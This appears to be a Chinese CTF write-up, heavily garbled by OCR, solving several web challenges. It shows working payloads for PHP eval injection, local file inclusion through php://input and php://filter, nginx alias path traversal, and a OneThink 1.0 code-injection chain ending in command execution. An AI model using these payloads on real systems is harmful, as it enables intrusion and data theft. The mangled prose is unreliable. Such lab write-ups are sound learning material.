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<?php

include "flag.php";

$a = @$ REQUEST[ 'hello'];

if(!preg match('/"\w*s$/"',8a )){
die('ERROR');

}

eval ("var dump($$a);");

show source(_ FILE );

?>
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1. &% flag.php X fF

2. JBEMEANZE hello HI1H

3. IEMRIEAXILE: —ANEZ A [A-Za-20-9_]
4. var_dump() BRHATREEZERMHEKXER

5. show_source() BRE XH#HITIEEE RIS

var_dump() BREFHIZEEAN $%a -> shello, SITEIH $hello KIfE, RIBIRR Flage Az, HE: fFF cLoBaLs BEHEFTLL
TEIE:

?hello=GLOBALS

array(9) { ["_GET"]=> array(1) { ["hello"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { }
["_COOKIE"]=> array(7) { ["browse"]=> string(335)
"CFFTxUYUOBfUVOAVQJUTRFBZSkdeQ1YWVBFR1pRWEZTUVIPXKVLTgBZXUVdQ1hOGIIZTFRTWOVbUOVF
["chkphone"]=> string(33) "acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O"
["Hm_Ivt_2d0601bd28de7d49818249¢f35d95943"]=> string(43)
"1584718793,1584719213,1585131590,1585207758" ["UM_distinctid"]=> string(60) "170f8994783665-
Obbd32e5e9d75d-396d7406-13c680-170f89947843e1" ["ci_session"]=> string(40)
"ecd8357d6¢c748c968731cda192a9e17becc3f9ech”
["Hm_lpvt_2d0601bd28de7d49818249cf35d95943"]=> string(10) "1585209799" ["__jsluid_h"]=>
string(32) "39a6724f252bca735d8cal1055204844f" } ["_FILES"]=> array(0) { } ["_REQUEST"]=> array(1)
{["hello"]=> string(7) "GLOBALS" } ["flag"]=> string(38) "flaglt — T <E RH6MEEERE" ["d3f0f8"]=>
string(42) "flag{cf807eca-17dc-4d19-aff8-51439bfeaf08}" ["a"]=> string(7) "GLOBALS"
["GLOBALS"]=> *RECURSION* } <?php

Vi H 5 R B A AR R
A LA 3] flag 725 & d3fefs H, #iipayload:

?hello=d3fef8

string(42) "flag{cf807eca-17dc-4d19-aff8-51439bfeaf08}" <2php
include "flag.php";
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JRBHEEHL, FTIFREA -

<?php

include "flag.php";

$a = @$ REQUEST[ 'hello'];
eval( "var dump($a);");
show source(_ FILE );

BTN — BARR, A

1. &7 flag.php 314
2. BENRNTE hello EANSH

3. KETREASHHIMRER

ZREASH:
?hello=$GLOBALS

EEINCEAEYSE

array(8) { ["_GET"]=> array(1) { ["hello"]=> string(8) "$GLOBALS" } ["_POST"]=> array(0) { }
["_COOKIE"]=> array(7) { ["browse"]=> string(335)
"CFIfTxUYUOBfUV9AVQJUTRFBZSkdeQ1IYWVBFR1pRWEZTUVIPXKVLTgBZXUVdQ1hOGIIZTFRTWOVbUOVFE
["chkphone"]=> string(33) "acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O"
["Hm_Ivt_2d0601bd28de7d49818249cf35d95943"]=> string(43)
"1584718793,1584719213,1585131590,1585207758" ["UM_distinctid"]=> string(60) "170f8994783665-
Obbd32e5e9d75d-396d7406-13c680-170f89947843e1" ["ci_session"]=> string(40)
"8691b431cc593753d00a0a5¢c82758366d204661c"
["Hm_lpvt_2d0601bd28de7d49818249¢cf35d95943"]=> string(10) "1585212366" ["__jsluid_h"]=>
string(32) "492¢458872f3¢c2d44b578bf9538ee69b" } ["_FILES"]=> array(0) { } ["_REQUEST"]=> array(1) {
["hello"]=> string(8) "$GLOBALS" } ["flag"]=> string(20) "Too Young Too Simple" ["a"]=> string(8)
"$GLOBALS" ["GLOBALS"]=> *RECURSION* } <?php

BIERR, flag METZEF

75725_‘
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hello=file("flag.php")

file() RER XA EANLAF, B B> BT #R R SO A AR B —4T

array(3) { [0]=> string(6) " string(32) "$flag = 'Too Young Too Simple'; " [2]=> string(45)
"#flag{3e975a46-14d9-484c-9ab3-fa03bb84e718}; " } <2php

83 flag



HE
£ file_get_contents() H%L:

hello=file_get_contents('flag.php"

string(83) " <?php

include "flag.php";

$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE_ );

HE M IR

1| string(83) "<?php

2 $flag = 'Too Young Too Simple';

3| #flag{3e975a46-14d9-484c-9ab3-fa03bb84e718};
4 L]

ﬂ%?ﬂflag

Hik=:
& &R var_dump( HI¥ES, M8 highlight file() BREHLEN flag.php I 2 :

hello highlight file("flag.php");var_dump

<?php

$flag = 'Too Young Too Simple';
#flag{3e975a46-14d9-484c-9ab3-fa03bb84e718};
<?php

include "flag.php";

53| flag
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error_reporting(9);

'./flag.php');
["nums'])){
["nums'] 9;
["time'] time();

[ "whoami' ] 'ea';

if( ['time' ]+120<time()){

session_destroy();
!
J

['value'];
range('a', 'z');
[mt_rand(0,25)]. [mt_rand(@,25)];

[ "'whoami' J==( [e]. substr(md5( ),5,4)==0){
[ "nums' J++;

[ "whoami' ]

]

show_source(__FILE_ );

S HTIRRD :

1. R IRIRE

2. JaH session &1

3. WEAE nums N0 ; time HXHFIAS[A; whoami HI{E: ea

4. 120 W54 EliE

5. fE N\ & value HI{E

6. BlE— MM “a” B “z” FEH $str_rand

7. mt_rand() M @-25 BENLEER B F, BAERBIHABEILFE

8. whoami FEE%T value FIRTFNL, F£H value I mds EKIZE 5 NI, KERN 4 HF/FE=

9. 78¥F 10 IK#H flag

FERAVMNBRLE 120 BN 10 W value FUfH, 3 EF nds() RESMERAM T RSE, Hikpayload:



fh <?php

error reporting(0);
session_start();
require('./flag.php');

BRAENRE A 75

?value[ ]=fh

Ihflag{20e090a5-2262-4bd3-a9bc-2897be2aa59e} <?php

error reporting(0);
session_start();
require('./flag.php');

Z IR G153 flag
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<?php

show_source(__ FILE );
if (isset($_REQUEST[ 'path'])){
include($_REQUEST[ 'path']);

telse{

include( 'phpinfo.php');

}

Php

System

Linux f9e0943a28cb 4.4.169-1.el6.elrepo.x86_64 #1 SMP Fri Dec 21 11:47:22 EST 2018 x86_64

Build Date

Dec 13 2016 00:04:38

Configure Command

/home/buildozer/aports/main/php5/src/php-5.6.29/configure '—-build=x86_64-alpine-linux-musl' '——
host=x86_64-alpine-linux-musl' '-—prefix=/usr' '--sysconfdir=/etc/php5' '——localstatedir=/var '——with—

G TEBAPHPEEXAHER, RAAXHEERE, RREERFR:

allow_url_fopen

Off

Off

allow_url_include

On

On

" AE F] allow_url fopen XM, allow url_include JF)&, BPZEIE$TFFURLICH:, HAR W5 HURLCH:, 24 phpth
W, AEEXUMHRTXHEER:

[ ] Elements

LOAD SPLIT

URL

Console Sources Network

EXECUTE TEST -~

Performance  Memory  Application  Security  Audits  EditThisCookie  HackBar

sqLl - Xss - LFI -~ SSTI -~ ENCODING ~ HASHING -~

http://79da5686765a45fea51ffd1c2760932e7e6b473349ab4bed . changame.ichungiu.com/?path=php://input

# Enable POST

Body

enctype

application/x-www-form-urlencoded - ADD HEADER

<7php system('ls");?>

13 Fl Google Chromeft#i{f:HackBari@iZ POST 5 £ %

<?php

show source(_ FILE );
if(isset($_REQUEST[ 'path’'])){
include($ REQUEST[ 'path']);

}else{

include( 'phpinfo.php');

}
dle345aae.php index.php phpinfo.php

BET =4, BN flag 7F dle345aae.php H,



?path=php:

5 7|Baseb4¥l % J5 1) flag :

r‘:lbz;cludc{ 'phpinfo.php’);
}
PD9waHAgCiIRmbGFnPSJmbGFnezQTYWZIODFmLTQwOGEtNDIZMIOSZWQAwWLTVMMTBMYmVmM2Q4NHOiOwo=

7E 2 Baseb4 /RSB E flag -

<?php
$flag="flag{45afeBlf-408a-4262-9ed0-5f10fbef3dB4}";

Zone

ME: 504 K%. Web
BEAZE: MSELRT, ©&MAE, ELAH?

JEBNEEHL, FTIFREE -

Mini-Zone Login

Username

Password

Submit

AR, SR E M-

...2cc1054f8fedd932211704a11.changame.ichungiu.com 2T
PG R !

RE

HIARSQUENG, 4EEIFRLR, HFE robots. txt

1 User-agent: *

2| Disallow: /flag.php
3


http://ctf.ssleye.com/base64.html

7 1R 1% T -

flag_is_here

RE—A)E, Z2RXIFRAINMERE, 7 cookie FEIM—INSH: login=o:
 92eb3acfdceadd7cb45a23934a5332e982ded5f83a314dfe.changame.ichungiu.com | login
tj JI=]
-’

&
92e63acfdceadd’ch45a2393425332e98 2ded5f83a3 14dfe.changame.ichungiu.com
g

/

L HARE]

Sat Mar 27 2021 16:35:57 GMT+0B00 (SR E i #EET &)

Samesite

BEBEON: 1, BRETHER:

Mini-Zone  Manage  Logout

V990000 0VO

BREC BRI, RIS, B 7 writeup i T /2 NginRER S0 , SR L% H R

K H A ZF] index.php H, RIATMHERIEH, AraEgodiEs, ZRANE5RE:

/manages/admin.php?module=..././.. .conf&name

#user nobody; worker_processes 1; #error_log logs/error.log; #error_log logs/error.log notice; #error_log logs/error.log info; #pid run/nginx.pid; events { worker_connections 1024; } http { include mime.types;
default_type application/octet-stream; #log_format main '$remote_addr - $remote_user [$time_local] "$request” ' # '$status $body_bytes_sent "Shttp_referer" ' # ""$http_user_agent" "$http_x_forwarded_for™;
#access_log logs/access.log main; sendfile on; #tcp_nopush on; #keepalive_timeout 0; keepalive_timeout 65; #gzip on; #server { # listen 80; # server_name localhost; #charset koi8-r; #access_log
Iogs/host.access.mg main; # location / { # root html; # index index.html index.htm; # }ﬂerrorﬁpage 404 /404.html; # redirect server error pages to the static page /50x.html # # error_page 500 502 503 504
/50x.html; # location = /50x.html { # root html; # } # proxy the PHP scripts to Apache listening on 127.0.0.1:80 # #location ~ \.php$ { # proxy_pass http://127.0.0.1; #} # pass the PHP scripts to FastCGl server
listening on 127.0.0.1:9000 # #location ~ \.php$ { # root html; # fastcgi_pass 127.0.0.1:9000; # fastcgi_index index.php; # fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name; # include fastcgi_params;
# 4 deny access to .htaccess files, if Apache’s document root # concurs with nginx's one # #location ~ INht{# deny all; #} #} # another virtual host using mix of IP-, name-, and port-based configuration #
#server { # listen 8000; # listen somename:8080; # server_name somename alias another.alias; # location / { # root html; # index index.html index.htm; # } #} # HTTPS server # #server { # listen 443 ssl; #
server_name localhost; # ssl_certificate cert.pem; # ssl_certificate_key cert.key; # ss|_session_cache shared:SSL:1m; # ssl_session_timeout 5m; # ssl_ciphers HIGH:!laNULL:!MD5; # ssl_prefer_server_ciphers on; #
location / { # root html; # index index.html index.htm; # } #} include sites—enabled/default; }

BJ5—H): include sites-enabled/default; , s ani o P

sites-enabled/default&name




server { listen 80 default_server; listen [:::80 default_server ipvBonly=on; root /var/www/html; index index.php index.html index.htm; server_name localhost; location / { try_files $uri $uri/ =404; location ~ \.php$ {
fastcgi_split_path_info {.+\.php)(/.+)$; fastcgi_param SCRIPT_FILENAME /var/www/htmi$fastcgi_script_name; #fastcgi_pass unix:/var/run/php5-fpm.sock; fastcgi_pass 127.0.0.1:9000; fastegi_index index.php;
include fastcgi_params; } } error_page 404 /404.html; error_page 500 502 503 504 /50x.html; location = /50x.html { root /var/www/html; } location /online-movies { alias /movie/; autoindex on; } location ~ /\.ht
{denyall; } }

location /online-movies alias /movie autoindex on

H - autoindex on EEREFIEIRIFE IR, 45&ZATH flag.php B AT #4i&payload:
online-movies var/www/flag.php

THEH flag X -

flag.php

k?php
$flag-"'flag{6e60369f-2d15-42f9-a262-dcd68050bT88}';
echo 'flag_is_here';

FTFF LB F flag
OneThink

ME: 504 2K%. Web
MEANE: FAHCHRREREZshelllE.
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OneThink

RBEERER, BEFRRF!
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Mikis OneThink1.0IEZXX kR 27
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OneThink1.0 342 IR TH 2t J 8 B E 30
FHSEREwE, JRFAHE, EMEP %asa=$_GET[al;//

OneThink

P R

EEEKS?

A&
%0a$a=$_GET[a]://

{8 F BurpSuite U #E £, K %0a 34T URLFE :

Y WY T gy — —_

Paste from file
Save item

1sername=%2| 6&repassword=123456&email=123%40gq.com&verify=jbj66

Don't intercept requests
Do intercept

>
Convert selection » URL » URL-decode ~{ 38U

URL-encode as you type HTML » URL-encode key characters ~3U
~ Base64 » URL-encode all characters

Cut 38X , ,

Copy ~3eC Construct string » URL-encode all characters (Unicode)

Paste ~HV

username=
system(%24a)%3B%2F%2F&password=123456&repassword=123456&8email=12345%40qq.com&verify=wwert

KIRFARE, EMBT, BIREMMS: %easystem($a);// » FEMIERRMFE, LT EHPIAIKSHATER:

OneThink

AF&%

BRAMS? 11

RF#&
%0asystem($a);//

5EM—#, EHBurpSuiteyUR R, K %e0a BHTURLEIE, KiZBHJEKIHIER:



https://www.anquanke.com/post/id/152584

BRERLTh, YiHE:  /Runtime/Temp/2bb202459¢30a1628513F40ab22fa0la. php :

PHP Version 5.5.9-1ubuntu4.19 W

System Linux ebfi81fidd28 4.4.169-1.el6.elrepo.xB6_64 #1 SMP Fri Dec 21 11:47:22 EST 2018
Build Date Jul 28 2016 19:30:57
Server API Apache 2.0 Handler
Virtual Directory |disabled

Support

Configuration File |/etc/phpS/apache2
(php.ini) Path

Loaded letc/phpS/apache2/php.ini
Configuration File

Scan this dir for  |/etc/phpS/apache2iconf.d
additional .ini files

BE LR T A

Runtime/Temp/2bb202459c30a1628513f40ab22fadla.phpra=1s

B .. Ui ER E S

Cache Data Logs Temp common~runtime.php

1E ?a=1s ../../ KIBRMERBL flag. php :

Addons Application Data Public Runtime ThinkPHF Uploads flag.php index.php install .php license.txt logo.png readme.html

¥ F cat 415A, B %payload:

Runtime/Temp/2bb202459c30a1628513f40ab22fadla.php?a=cat ..

FEM YRS 15 2] flag :

<Pphp
$flag = "flag{209b8f56-9601-4576-b25f-9ce8efd064d7}";
>
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